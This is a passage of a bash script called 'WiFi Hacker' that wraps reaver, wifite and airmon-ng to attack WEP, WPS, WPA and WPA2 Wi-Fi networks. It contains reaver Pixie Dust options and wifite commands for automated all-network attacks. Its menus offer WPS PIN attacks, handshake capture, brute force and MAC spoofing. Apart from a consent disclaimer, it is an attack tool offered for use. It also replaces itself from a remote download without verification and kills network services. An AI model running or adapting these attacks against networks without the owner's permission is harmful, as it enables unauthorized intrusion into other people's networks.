  721. reaverIgnoreLocks="--ignore-locks"
  722. reaverM57Timeout="--m57-timeout="
  723. reaverMaxAttempts="--max-attempts="
  724. reaverNack="--nack"
  725. reaverNoAssociate="--no-associate"
  726. reaverNoNacks="--no-nacks"
  727. reaverPin="--pin="
  728. reaverRecurringDelay="--recurring-delay"
  729. reaverTimeout="--timeout="
  730. reaverWin7False="--win7"
  731. reaver5ghz="--5ghz"
  732. reaverAuto="--auto"
  733. reaverChannel="--channel="
  734. reaverDaemonize="--daemonize"
  735. reaverESSID="--essid="
  736. reaverExec="--exec="
  737. reaverFixed="--fixed"
  738. reaverHelp="--help"
  739. reaverMAC="--mac="
  740. reaverOutfile="--out-file="
  741. reaverQuiet="--quiet"
  742. reaverSession="--session="
  743. reaverVerbose="-v"
  744. reaverVerboseMore="-vv"
  745. # Updated Options
  746. reaverDaemonize="-D"
  747. reaverExhaustive="-X"
  748. reaverNoAutoPass="-Z"
  749. reaverP1Index="-1"
  750. reaverP2Index="-2"
  751. reaverPixie="-K"
  752. reaverPixieLoop="-P"
  753. reaverGeneratePin="-W"
  754. reaverCurrentSessionFile=""
  755. # -K Argument Number (Default 1)
  756. pixieNumber="1"
  757. # Check to see if Pixie Attack Failed
  758. pixieFailed="0"
  759. wifite="wifite"
  760. wifiteAttackAll="wifite --all"
  761. wifiteAttackWEP="wifite --all --wep"
  762. wifiteAttackWPA="wifite --all --wpa"
  763. wifiteAttackWPA2="wifite --all --wpa"
  764. wifiteAttackWPS="wifite --all --wps"
  765. # Bully Options
  766. #bully <options> interface
  767. }
  768. ############################################################################
  769. # DEFAULT VARIABLES END ################################################
  770. ############################################################################
  771. ############################################################################
  772. # DISCLAIMER BEGIN #####################################################
  773. ############################################################################
  774. showDisclaimer(){
  775. currentTask="showDisclaimer"
  776. lastMenuID="showDisclaimer"
  777. sessionCreatePaths
  778. sessionRemoveEmpty
  779. bannerSlim
  780. $cyan
  781. echo ""
  782. echo "****************************************************************************************************"
  783. echo "THIS WILL TERMINATE ANY ACTIVE INTERNET CONNECTION! IF YOU HAVE ISSUES CONNECTING TO THE INTERNET"
  784. echo "AFTER AN ATTACK HAS BEEN PERFORMED, USE THE EXTRAS OPTION IN TOOLBAR TO START AND STOP SERVICES."
  785. echo "IF THIS DOES NOT WORK, THEN YOU CAN RESTART THIS SCRIPT, OR REBOOT THE MACHINE AND RETURN TO NORMAL."
  786. echo "****************************************************************************************************"
  787. echo ""
  788. $green
  789. echo "**********************************************************"
  790. echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!"
  791. echo "**********************************************************"
  792. $white
  793. echo ""
  794. echo "By using this script, you are agreeing to the following terms:"
  795. echo ""
  796. echo "1) Not to be used for attacking access points that you do not have permission to test"
  797. echo ""
  798. echo "2) Stay within legal limits of transmission power, depending on your country laws"
  799. echo ""
  800. echo "3) Stay within legal limits of channel usage, depending on your country laws"
  801. echo ""
  802. $green
  803. echo "**********************************************************"
  804. echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!"
  805. echo "**********************************************************"
  806. $white
  807. echo ""
  808. echo ""
  809. echo ""
  810. echo "PLEASE PRESS "\""Y"\"" AND ENTER TO ACCEPT AND CONTINUE"
  811. echo ""
  812. read agreeToDisclaimer
  813. case "$agreeToDisclaimer" in
  814. "")
  815. bannerExit
  816. ;;
  817. "Y" | "y")
  818. checkForUpdates
  819. fixNegativeOneChannelError
  820. #initAirmon
  821. fixAirmonCompat
  822. #startNetworkManager
  823. #killNetworkManager
  824. #wpaSupplicantKill
  825. #initMonitorMode
  826. #stopMonitorMode
  827. #checkMultipleAdapters
  828. menuMain
  829. ;;
  830. *)
  831. bannerExit
  832. ;;
  833. esac
  834. }
  835. isUnreleased(){
  836. currentTask="isUnreleased"
  837. lastMenuID="isUnreleased"
  838. sessionCreatePaths
  839. sessionRemoveEmpty
  840. bannerSlim
  841. $cyan
  842. echo ""
  843. echo "****************************************************************************************************"
  844. echo "THIS WILL TERMINATE ANY ACTIVE INTERNET CONNECTION! IF YOU HAVE ISSUES CONNECTING TO THE INTERNET"
  845. echo "AFTER AN ATTACK HAS BEEN PERFORMED, USE THE EXTRAS OPTION IN TOOLBAR TO START AND STOP SERVICES."
  846. echo "IF THIS DOES NOT WORK, THEN YOU CAN RESTART THIS SCRIPT, OR REBOOT THE MACHINE AND RETURN TO NORMAL."
  847. echo "****************************************************************************************************"
  848. echo ""
  849. $green
  850. echo "**********************************************************"
  851. echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!"
  852. echo "**********************************************************"
  853. echo ""
  854. $yellow
  855. echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
  856. echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
  857. echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
  858. echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
  859. echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
  860. echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
  861. echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
  862. echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
  863. echo ""
  864. $green
  865. echo "**********************************************************"
  866. echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!"
  867. echo "**********************************************************"
  868. echo ""
  869. echo ""
  870. echo ""
  871. $white
  872. echo "PLEASE PRESS "\""Y"\"" AND ENTER TO ACCEPT AND CONTINUE"
  873. echo ""
  874. read agreeToDisclaimer
  875. case "$agreeToDisclaimer" in
  876. "")
  877. bannerExit
  878. ;;
  879. "Y" | "y")
  880. checkForUpdates
  881. fixNegativeOneChannelError
  882. #initAirmon
  883. fixAirmonCompat
  884. #startNetworkManager
  885. #killNetworkManager
  886. #wpaSupplicantKill
  887. #initMonitorMode
  888. #stopMonitorMode
  889. #checkMultipleAdapters
  890. menuMain
  891. ;;
  892. *)
  893. bannerExit
  894. ;;
  895. esac
  896. }
  897. ############################################################################
  898. # DISCLAIMER END #######################################################
  899. ############################################################################
  900. ############################################################################
  901. # BANNERS BEGIN ########################################################
  902. ############################################################################
  903. banner(){
  904. setWindowTitle
  905. currentTask="banner"
  906. clear
  907. $blue
  908. echo "--------------------- **************************************************************** ----------------------"
  909. echo "| [M] Main Menu | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [X] Exit |"
  910. echo "--------------------- **************************************************************** ----------------------"
  911. $yellow
  912. echo "-------------------------------------------------------------------------------------------------------------------"
  913. echo "| Interfaces: $interfacesFound | Interface Mode: $interfaceMode | [A] Advanced | Sessions: [S] Save [L] Load | [E] Extras [H] Help |"
  914. echo "-------------------------------------------------------------------------------------------------------------------"
  915. #echo ""
  916. $white
  917. }
  918. bannerNoMenu(){
  919. currentTask="bannerNoMenu"
  920. setWindowTitle
  921. clear
  922. $blue
  923. echo "--------------------- **************************************************************** ----------------------"
  924. echo "| [ CTRL+C ] Main | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [CTRL+C x2 ] Exit |"
  925. echo "--------------------- **************************************************************** ----------------------"
  926. $yellow
  927. echo "-------------------------------------------------------------------------------------------------------------------"
  928. echo "| Interfaces: $interfacesFound | Interface Mode: $interfaceMode | [A] Advanced | Sessions: [S] Save [L] Load | [E] Extras [H] Help |"
  929. echo "-------------------------------------------------------------------------------------------------------------------"
  930. #echo ""
  931. $white
  932. }
  933. bannerMain(){
  934. currentTask="bannerMain"
  935. setWindowTitle
  936. clear
  937. $blue
  938. echo "--------------------- **************************************************************** ----------------------"
  939. echo "| [ ] | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [CTRL+C ] Exit |"
  940. echo "--------------------- **************************************************************** ----------------------"
  941. echo "-------------------------------------------------------------------------------------------------------------------"
  942. $yellow
  943. echo "| Interfaces: $interfacesFound | Interface Mode: $interfaceMode | [A] Advanced | Sessions: [S] Save [L] Load | [E] Extras [H] Help |"
  944. echo "-------------------------------------------------------------------------------------------------------------------"
  945. #echo ""
  946. $white
  947. }
  948. bannerMenu(){
  949. currentTask="bannerMenu"
  950. setWindowTitle
  951. clear
  952. $blue
  953. echo "--------------------- **************************************************************** ----------------------"
  954. echo "| [ ] | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [CTRL+C ] Exit |"
  955. echo "--------------------- **************************************************************** ----------------------"
  956. $yellow
  957. echo "-------------------------------------------------------------------------------------------------------------------"
  958. echo "| Interfaces: $interfacesFound | Interface Mode: $interfaceMode | [A] Advanced | Sessions: [S] Save [L] Load | [E] Extras [H] Help |"
  959. echo "-------------------------------------------------------------------------------------------------------------------"
  960. #echo ""
  961. $white
  962. }
  963. bannerSlim(){
  964. currentTask="bannerSlim"
  965. setWindowTitle
  966. clear
  967. $blue
  968. echo "--------------------- **************************************************************** ----------------------"
  969. echo "| [ ] | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [CTRL+C ] Exit |"
  970. echo "--------------------- **************************************************************** ----------------------"
  971. $white
  972. }
  973. bannerStats(){
  974. currentTask="bannerStats"
  975. $cyan
  976. echo "-------------------------------------------------------------------------------------------------------------------"
  977. echo "Interface: $interfaceName / MAC: $macAddressMonitor / ESSID: $essid / BSSID: $bssid / Channel: $channel"
  978. echo "-------------------------------------------------------------------------------------------------------------------"
  979. echo ""
  980. $white
  981. }
  982. bannerExit(){
  983. currentTask="bannerExit"
  984. sessionWriteEndCurrent
  985. sessionRemoveEmpty
  986. forceDisconnectWifi
  987. clear
  988. $blue
  989. echo "Thank You For Playing Fair ;)"
  990. echo ""
  991. echo "esc0rtd3w 2019"
  992. echo ""
  993. echo ""
  994. $cyan
  995. echo "View My Other Projects On GitHub:"
  996. echo ""
  997. echo "https://github.com/esc0rtd3w"
  998. echo ""
  999. echo ""
  1000. exit
  1001. }
  1002. bannerExitUpdate(){
  1003. currentTask="bannerExitUpdate"
  1004. clear
  1005. $green
  1006. echo "The WiFi Hacker Script Has Been Updated To Version $versionRemote"
  1007. echo ""
  1008. echo "The New Script Is Located At $initPath/$newVersionScript"
  1009. echo ""
  1010. echo ""
  1011. echo ""
  1012. echo "To launch the new script type the following two lines into this terminal WITHOUT QUOTES"
  1013. echo ""
  1014. echo "\"chmod a+x $newVersionScript\""
  1015. echo ""
  1016. echo "\"./$newVersionScript\""
  1017. echo ""
  1018. echo ""
  1019. echo ""
  1020. $blue
  1021. echo "Thank You For Playing Fair ;)"
  1022. echo ""
  1023. echo "esc0rtd3w 2019"
  1024. echo ""
  1025. echo ""
  1026. $cyan
  1027. echo "View My Other Projects On GitHub:"
  1028. echo ""
  1029. echo "https://github.com/esc0rtd3w"
  1030. echo ""
  1031. echo ""
  1032. exit
  1033. }
  1034. ############################################################################
  1035. # BANNERS END ##########################################################
  1036. ############################################################################
  1037. ############################################################################
  1038. # GLOBAL TEXT BEGIN ####################################################
  1039. ############################################################################
  1040. # Usage: doSleepMessage "message" "time" "color"
  1041. # Usage Example: doSleepMessage "Please Wait...." "5" "$red"
  1042. doSleepMessage(){
  1043. message="$1"
  1044. time="$2"
  1045. color="$3"
  1046. currentTask="doSleepMessage"
  1047. banner
  1048. bannerStats
  1049. $color
  1050. echo "$message"
  1051. sleep $time
  1052. }
  1053. ############################################################################
  1054. # GLOBAL TEXT END ######################################################
  1055. ############################################################################
  1056. ############################################################################
  1057. # UPDATE STUFF BEGIN ###################################################
  1058. ############################################################################
  1059. checkForUpdates(){
  1060. currentTask="checkForUpdates"
  1061. checkConnectionStatus
  1062. # If a blank entry was made to skip update then this value should be 1
  1063. case "$skipUpdate" in
  1064. "0")
  1065. # If connection can connect to internet, check for update
  1066. case "$ipStatus" in
  1067. "1")
  1068. menuUpdate
  1069. ;;
  1070. esac
  1071. ;;
  1072. esac
  1073. }
  1074. menuUpdate(){
  1075. currentTask="menuUpdate"
  1076. # Check remote server for update version
  1077. case "$updateChecked" in
  1078. "0")
  1079. # Make sure there is an active internet connection
  1080. case "$ipStatus" in
  1081. "1")
  1082. checkUpdate
  1083. ;;
  1084. esac
  1085. ;;
  1086. esac
  1087. # Set default choice
  1088. updateChoice=""
  1089. bannerSlim
  1090. echo ""
  1091. #echo "Update Menu"
  1092. #echo ""
  1093. #echo ""
  1094. #echo ""
  1095. # If remote version is not newer, then local version should be green
  1096. case "$newUpdateAvailable" in
  1097. "0")
  1098. $green
  1099. ;;
  1100. "1")
  1101. $yellow
  1102. ;;
  1103. "2")
  1104. $magenta
  1105. ;;
  1106. esac
  1107. echo "Local Version: v$versionBase"
  1108. echo ""
  1109. # If remote version is newer, then local version should not be green
  1110. case "$newUpdateAvailable" in
  1111. "0")
  1112. $yellow
  1113. ;;
  1114. "1")
  1115. $green
  1116. ;;
  1117. "2")
  1118. $magenta
  1119. ;;
  1120. esac
  1121. echo "Remote Version: v$versionRemote"
  1122. $white
  1123. echo ""
  1124. echo ""
  1125. echo ""
  1126. echo ""
  1127. echo ""
  1128. echo "Choose an option and press ENTER:"
  1129. echo ""
  1130. echo ""
  1131. echo "1) Check For New Update"
  1132. echo ""
  1133. echo "2) Apply New Update"
  1134. echo ""
  1135. echo ""
  1136. echo ""
  1137. echo ""
  1138. echo ""
  1139. echo ""
  1140. echo ""
  1141. echo ""
  1142. echo ""
  1143. echo ""
  1144. $cyan
  1145. echo "AUTOMATICALLY CONTINUING IN 10 SECONDS...."
  1146. $white
  1147. echo ""
  1148. #read updateChoice
  1149. read -t 10 updateChoice
  1150. case "$updateChoice" in
  1151. "")
  1152. skipUpdate="1"
  1153. returnToUpdatePage="0"
  1154. #read pause
  1155. ;;
  1156. "1")
  1157. # Reset updateChecked Flag
  1158. updateChecked="0"
  1159. returnToUpdatePage="1"
  1160. checkUpdate
  1161. ;;
  1162. "2")
  1163. case "$newUpdateAvailable" in
  1164. # No Update Available / Remote Version Matches Local
  1165. "0")
  1166. returnToUpdatePage="0"
  1167. banner
  1168. $red
  1169. echo ""
  1170. echo "No Updates Are Available!"
  1171. echo ""
  1172. echo ""
  1173. echo ""
  1174. echo ""
  1175. echo ""
  1176. echo ""
  1177. $cyan
  1178. echo "Continuing To Main Menu In 5 Seconds...."
  1179. echo ""
  1180. echo ""
  1181. read -t 5 noUpdateAvailable
  1182. ;;
  1183. # Update Is Available / Remote Version Is Higher Than Local
  1184. "1")
  1185. returnToUpdatePage="0"
  1186. getUpdate
  1187. ;;
  1188. # Dev Build / Remote Version Is Lower Than Local
  1189. "2")
  1190. returnToUpdatePage="0"
  1191. banner
  1192. $magenta
  1193. echo ""
  1194. echo "You Have An Unreleased Developer Version"
  1195. echo ""
  1196. echo ""
  1197. echo ""
  1198. $green
  1199. echo ""
  1200. echo "* TO FORCE UPDATE FROM REMOTE VERSION PRESS \"F\" AND ENTER *"
  1201. echo ""
  1202. echo ""
  1203. echo ""
  1204. echo ""
  1205. $cyan
  1206. echo "Continuing To Main Menu In 10 Seconds...."
  1207. echo ""
  1208. echo ""
  1209. read -t 10 noUpdateAvailable
  1210. # Check for Forced Update Flag
  1211. case "$noUpdateAvailable" in
  1212. "F" | "f")
  1213. returnToUpdatePage="0"
  1214. getUpdate
  1215. ;;
  1216. esac
  1217. ;;
  1218. esac
  1219. ;;
  1220. "x" | "X")
  1221. bannerExit
  1222. ;;
  1223. esac
  1224. }
  1225. checkUpdate(){
  1226. currentTask="checkUpdate"
  1227. wget -O "$updateTemp" $updateMaster
  1228. versionRemoteTemp=$(cat $updateTemp | grep versionBase= | cut -d "\"" -f2 | head -c 3)
  1229. versionRemote="$versionRemoteTemp"
  1230. case "$isDebugMode" in
  1231. "1")
  1232. echo "versionRemote: $versionRemote"
  1233. read pause
  1234. ;;
  1235. esac
  1236. cleanVersionNumbers
  1237. compareUpdateVersions
  1238. #echo "newUpdateAvailable: $newUpdateAvailable"
  1239. #read pause
  1240. rm $updateTemp
  1241. updateChecked="1"
  1242. case "$returnToUpdatePage" in
  1243. "1")
  1244. menuUpdate
  1245. ;;
  1246. esac
  1247. }
  1248. getUpdate(){
  1249. currentTask="getUpdate"
  1250. # Get Base Script Name
  1251. #newVersionScript=$(printf '%s\n' "${0##*/}")
  1252. newVersionScript=$(basename -- "$0")
  1253. # Download New Script
  1254. wget -O "$initPath/$newVersionScript.tmp" $updateMaster
  1255. #read pause
  1256. # Make Backup of Original Script
  1257. cp "$initPath/$newVersionScript" "$initPath/$newVersionScript.BACKUP"
  1258. # Remove Old Script
  1259. rm -f "$initPath/$newVersionScript"
  1260. # Copy New Script
  1261. cp "$initPath/$newVersionScript.tmp" "$initPath/$newVersionScript"
  1262. # Remove Temp Script
  1263. rm -f "$initPath/$newVersionScript.tmp"
  1264. #read pause
  1265. bannerExitUpdate
  1266. }
  1267. cleanVersionNumbers(){
  1268. currentTask="cleanUpdateVersion"
  1269. versionBaseClean=$(echo $versionBase | sed -e 's/\.//')
  1270. versionRemoteClean=$(echo $versionRemote | sed -e 's/\.//')
  1271. #echo "Local Version: $versionBaseClean"
  1272. #echo "Remote Version: $versionRemoteClean"
  1273. #read pause
  1274. }
  1275. compareUpdateVersions(){
  1276. # Compare Local and Remote Versions (0 = Not Greater / 1 = Greater) (Not working?? 20170102)
  1277. #versionCompare=$(echo "$versionBaseClean <= $versionRemoteClean" | awk '{print ($versionBaseClean <= $versionRemoteClean)}')
  1278. if [ $versionRemoteClean -lt $versionBaseClean ]; then
  1279. newUpdateAvailable="2"
  1280. isDevBuild="1"
  1281. fi
  1282. if [ $versionRemoteClean -gt $versionBaseClean ]; then
  1283. newUpdateAvailable="1"
  1284. isDevBuild="0"
  1285. fi
  1286. if [ $versionRemoteClean -eq $versionBaseClean ]; then
  1287. newUpdateAvailable="0"
  1288. isDevBuild="0"
  1289. fi
  1290. }
  1291. ############################################################################
  1292. # UPDATE STUFF END #####################################################
  1293. ############################################################################
  1294. ############################################################################
  1295. # OTHER MISC STUFF BEGIN ###############################################
  1296. ############################################################################
  1297. checkRootStatus(){
  1298. userPriv="none"
  1299. isRoot=$(whoami | grep root)
  1300. case "$isRoot" in
  1301. "root")
  1302. userPriv="root"
  1303. esac
  1304. if [ "$userPriv" != "root" ]; then
  1305. noRootAccess
  1306. fi
  1307. }
  1308. noRootAccess(){
  1309. banner
  1310. bannerStats
  1311. $red
  1312. echo "Yikes! No Root Access!"
  1313. $white
  1314. echo ""
  1315. echo ""
  1316. echo "I Currently Have Nothing Scripted To Handle This :("
  1317. echo ""
  1318. echo "Please login as a root user and try again!"
  1319. echo ""
  1320. echo ""
  1321. echo "Press ENTER to exit this script...."
  1322. echo ""
  1323. echo ""
  1324. read pause
  1325. bannerExit
  1326. }
  1327. checkConnectionStatus(){
  1328. ipStatus="0"
  1329. ipStatusText="None"
  1330. ipStatusTemp=$(ping -c 1 google.com | grep "1 received")
  1331. ipStatus=$(echo "$ipStatusTemp" | cut -c1)
  1332. case "$ipStatus" in
  1333. "1")
  1334. ipStatus="1"
  1335. ipStatusText="Wifi"
  1336. ;;
  1337. esac
  1338. case "$ipStatusText" in
  1339. "None")
  1340. ipStatus="0"
  1341. ;;
  1342. esac
  1343. #echo "$ipStatusText"
  1344. #read pause
  1345. }
  1346. fixAirmonCompat(){
  1347. #$terminal airmon-ng check kill&
  1348. airmon-ng check kill&
  1349. #airmon-ng check kill&
  1350. }
  1351. checkWifiandDisplayMessage(){
  1352. case "$ipStatusText" in
  1353. "Wifi")
  1354. banner
  1355. echo ""
  1356. echo "YOU MUST DISCONNECT FROM WIFI BEFORE CONTINUING!!!!"
  1357. echo ""
  1358. echo ""
  1359. echo "PRESS ENTER TO RETURN TO MAIN MENU...."
  1360. echo ""
  1361. echo ""
  1362. read pause
  1363. menuMain
  1364. ;;
  1365. esac
  1366. }
  1367. # Tries fixing issues with connection staying persistant to WiFi
  1368. forceDisconnectWifi() {
  1369. #stopMonitorMode
  1370. #killNetworkManager
  1371. NetworkManager
  1372. #disableChannelHopping
  1373. enableChannelHopping
  1374. }
  1375. ############################################################################
  1376. # OTHER MISC STUFF END #################################################
  1377. ############################################################################
  1378. ############################################################################
  1379. # MENUS: MAIN BEGIN ####################################################
  1380. ############################################################################
  1381. loadMenuHotkeys(){
  1382. case "$hotkeyInput" in
  1383. "M" | "m")
  1384. # Check for resetSpoofStatus Flag
  1385. case "$resetSpoofStatus" in
  1386. "1")
  1387. spoofStatus="0"
  1388. ;;
  1389. esac
  1390. killAll
  1391. stopMonitorMode
  1392. menuMain
  1393. ;;
  1394. "A" | "a")
  1395. menuAdvanced
  1396. ;;
  1397. "S" | "s")
  1398. checkForEmptyEncryptionType
  1399. case "$bssid" in
  1400. "")
  1401. menuMain
  1402. ;;
  1403. esac
  1404. if [ "$bssid" != "" ]; then
  1405. menuSessionSave
  1406. fi
  1407. ;;
  1408. "L" | "l")
  1409. checkForEmptyEncryptionType
  1410. menuSessionLoad
  1411. ;;
  1412. "H" | "h")
  1413. menuHelp
  1414. ;;
  1415. "E" | "e")
  1416. case "$lastMenuID" in
  1417. "menuMain")
  1418. menuMain
  1419. ;;
  1420. *)
  1421. menuExtras
  1422. ;;
  1423. esac
  1424. ;;
  1425. "X" | "x")
  1426. killAll
  1427. stopMonitorMode
  1428. bannerExit
  1429. ;;
  1430. esac
  1431. }
  1432. menuMain(){
  1433. currentTask="menuMain"
  1434. lastMenuID="menuMain"
  1435. # Create temp folder to use for text dumps, etc
  1436. mkdir $whTemp
  1437. checkRootStatus
  1438. sessionCreatePaths
  1439. sessionRemoveEmpty
  1440. checkMultipleAdapters
  1441. checkInterfaceMode
  1442. checkConnectionStatus
  1443. case "$ipStatus" in
  1444. "1")
  1445. banner
  1446. echo ""
  1447. echo "Loading Menu...."
  1448. echo ""
  1449. echo ""
  1450. forceDisconnectWifi
  1451. checkConnectionStatus
  1452. sleep 3
  1453. menuMain
  1454. ;;
  1455. "0")
  1456. banner
  1457. echo ""
  1458. #echo "Welcome to the WiFi Hacker script!"
  1459. echo "Compatible with all WEP/WPA/WPA2/WPS protected WiFi routers."
  1460. echo ""
  1461. $red
  1462. echo "**********************************************************************"
  1463. echo "YOU MUST DISCONNECT FROM ANY WIRELESS CONNECTIONS BEFORE CONTINUING!!!"
  1464. echo "**********************************************************************"
  1465. echo ""
  1466. case "$ipStatus" in
  1467. "0")
  1468. $green
  1469. ;;
  1470. "1")
  1471. $red
  1472. ;;
  1473. esac
  1474. echo "You are currently connected to: $ipStatusText"
  1475. $white
  1476. echo ""
  1477. echo ""
  1478. #$cyan
  1479. echo "0) Auto Mode (Uses WiFite In Full Automatic Mode. Applies To All Encryption Types)"
  1480. #$white
  1481. echo ""
  1482. echo "1) WEP Mode (Menu Options Can Be Selected To Easily Circumvent Any WEP Connection)"
  1483. echo ""
  1484. echo "2) WPS Mode (Pin Vulnerability Attack. May Also Have WPA, WPA2, or WEP Displayed)"
  1485. echo ""
  1486. echo "3) WPA Mode (Capture 4-way Handshake, Dictionary Attack, Bruteforce, Custom Wordlist, and More)"
  1487. echo ""
  1488. echo "4) WPA2 Mode (Identical To WPA Attacks, Except Target Encryption Type)"
  1489. echo ""
  1490. echo ""
  1491. echo ""
  1492. echo "Select a mode from above and press Enter:"
  1493. echo ""
  1494. read getMode
  1495. hotkeyInput="$getMode"
  1496. loadMenuHotkeys "$hotkeyInput"
  1497. case "$getMode" in
  1498. "")
  1499. menuMain
  1500. ;;
  1501. "0")
  1502. checkConnectionStatus
  1503. checkWifiandDisplayMessage
  1504. menuAttacksAllWifiteAuto
  1505. menuMain
  1506. ;;
  1507. "1")
  1508. checkConnectionStatus
  1509. checkWifiandDisplayMessage
  1510. mkdir $capturePathWEP
  1511. encryptionType="wep"
  1512. encryptionTypeText="WEP"
  1513. checkSpoofStatus
  1514. menuAuto
  1515. ;;
  1516. "2")
  1517. checkConnectionStatus
  1518. checkWifiandDisplayMessage
  1519. mkdir $capturePathWPS
  1520. encryptionType="wps"
  1521. encryptionTypeText="WPS"
  1522. checkSpoofStatus
  1523. menuAuto
  1524. ;;
  1525. "3")
  1526. checkConnectionStatus
  1527. checkWifiandDisplayMessage
  1528. mkdir $capturePathWPA
  1529. encryptionType="wpa"
  1530. encryptionTypeText="WPA"
  1531. checkSpoofStatus
  1532. menuAuto
  1533. ;;
  1534. "4")
  1535. checkConnectionStatus
  1536. checkWifiandDisplayMessage
  1537. mkdir $capturePathWPA2
  1538. encryptionType="wpa2"
  1539. encryptionTypeText="WPA2"
  1540. checkSpoofStatus
  1541. menuAuto
  1542. ;;
  1543. *)
  1544. menuMain
  1545. ;;
  1546. esac
  1547. ;;
  1548. esac
  1549. #menuMain
  1550. }
  1551. menuAuto(){
  1552. currentTask="menuAuto"
  1553. lastMenuID="menuAuto"
  1554. case "$encryptionTypeText" in
  1555. "Empty")
  1556. menuMain
  1557. ;;
  1558. esac
  1559. #sessionCopyNewCaptureFiles
  1560. sessionRemoveEmpty
  1561. cleanTempScanResultsFile "all"
  1562. checkInterfaceMode
  1563. banner
  1564. bannerStats
  1565. $green
  1566. echo ""
  1567. echo "You are ready to begin the $encryptionTypeText attack!"
  1568. echo ""
  1569. $white
  1570. case "$encryptionTypeText" in
  1571. "WEP")
  1572. echo "To perform a fully automated attack, type AUTOWEP end press ENTER"
  1573. ;;
  1574. "WPS")
  1575. echo "To perform a fully automated attack, type AUTOWPS end press ENTER"
  1576. ;;
  1577. "WPA")
  1578. echo "To perform a fully automated attack, type AUTOWPA end press ENTER"
  1579. ;;
  1580. "WPA2")
  1581. echo "To perform a fully automated attack, type AUTOWPA2 end press ENTER"
  1582. ;;
  1583. esac
  1584. echo ""
  1585. echo "YOU MAY NOW OPTIONALLY PRESS THE \"W\" KEY ON KEYBOARD TO YOUR SPOOF MAC ADDRESS"
  1586. echo ""
  1587. echo ""
  1588. echo ""
  1589. echo "The next step will run an airodump-ng session in a new window."
  1590. echo ""
  1591. echo "Once you enter all required info, the new window will be closed"
  1592. echo ""
  1593. echo ""
  1594. echo ""
  1595. echo "Press ENTER to clear the current session and select a target...."
  1596. echo ""
  1597. echo "YOU MAY ALSO PRESS THE \"P\" KEY ON KEYBOARD TO LOAD PREVIOUS SESSION"
  1598. echo ""
  1599. read readyForAirodumpScan
  1600. hotkeyInput="$readyForAirodumpScan"
  1601. loadMenuHotkeys "$hotkeyInput"
  1602. case "$readyForAirodumpScan" in
  1603. "")
  1604. killAll
  1605. checkForEmptyEncryptionType
  1606. # Run wash if WPS
  1607. case "$encryptionTypeText" in
  1608. "WPS")
  1609. #$terminal wash -i $interfaceMonitor -o "$washFile" -C
  1610. ;;
  1611. esac
  1612. autoModeNoPreviousSession
  1613. ;;
  1614. "P" | "p")
  1615. checkForEmptyEncryptionType
  1616. checkForEmptyCredentials "bssid"
  1617. checkForEmptyCredentials "essid"
  1618. checkForEmptyCredentials "channel"
  1619. autoModeUsePreviousSession
  1620. ;;
  1621. "W" | "w")
  1622. #returnTo="menuAuto"
  1623. spoofMacAddress
  1624. menuAuto
  1625. ;;
  1626. "autowep" | "AUTOWEP" | "AutoWEP" | "AutoWep" | "autoWEP" | "autoWep")
  1627. menuAttacksWEPWifiteAuto
  1628. ;;
  1629. "autowps" | "AUTOWPS" | "AutoWPS" | "AutoWps" | "autoWPS" | "autoWps")
  1630. menuAttacksWPSWifiteAuto
  1631. ;;
  1632. "autowpa" | "AUTOWPA" | "AutoWPA" | "AutoWpa" | "autoWPA" | "autoWpa")
  1633. menuAttacksWPAWifiteAuto
  1634. ;;
  1635. "autowpa2" | "AUTOWPA2" | "AutoWPA2" | "AutoWpa2" | "autoWPA2" | "autoWpa2")
  1636. menuAttacksWPA2WifiteAuto
  1637. ;;
  1638. *)
  1639. menuAuto
  1640. ;;
  1641. esac
  1642. #restartProcesses
  1643. menuMain
  1644. }
  1645. menuAdvanced(){
  1646. currentTask="menuAdvanced"
  1647. #lastMenuID="menuAdvanced"
  1648. interface="None"
  1649. banner
  1650. bannerStats
  1651. echo ""
  1652. echo "SORRY I GOT LAZY AND NEVER CODED THIS MENU"
  1653. echo "WILL BE AVAILABLE SOOOOOOOOOON!"
  1654. echo ""
  1655. echo ""
  1656. echo "Advanced Menu"
  1657. echo ""
  1658. echo ""
  1659. echo "1) Monitor Mode Options"
  1660. echo ""
  1661. echo "2) Honeypot Mode and Attacks"
  1662. echo ""
  1663. echo ""
  1664. echo ""
  1665. echo ""
  1666. $green
  1667. echo "** TO RETURN TO PREVIOUS PAGE JUST PRESS ENTER **"
  1668. $white
  1669. echo ""
  1670. echo ""
  1671. echo ""
  1672. echo ""
  1673. echo "Select an option and press ENTER:"
  1674. echo ""
  1675. echo ""
  1676. read getAdvancedOptionMain
  1677. hotkeyInput="$getAdvancedOptionMain"
  1678. loadMenuHotkeys "$hotkeyInput"
  1679. case "$getAdvancedOptionMain" in
  1680. "")
  1681. $currentTask
  1682. #menuMain
  1683. #menuAdvanced
  1684. ;;
  1685. *)
  1686. $currentTask
  1687. #menuMain
  1688. #menuAdvanced
  1689. ;;
  1690. esac
  1691. #restartProcesses
  1692. $currentTask
  1693. }
  1694. menuExtras(){
  1695. #currentTask="menuExtras"
  1696. #lastMenuID="menuExtras"
  1697. banner
  1698. bannerStats
  1699. echo "1) Backup All Sessions and Capture Files (Full Backup of all saved files to ZIP file)"
  1700. echo "2) Clean Capture Files (Removes all saved .cap, .xor, .ivs, .csv, and .netxml files)"
  1701. echo "3) Clean Session Files (Removes all saved WEP, WPS, WPA, WPA2 *.sessions files)"
  1702. echo ""
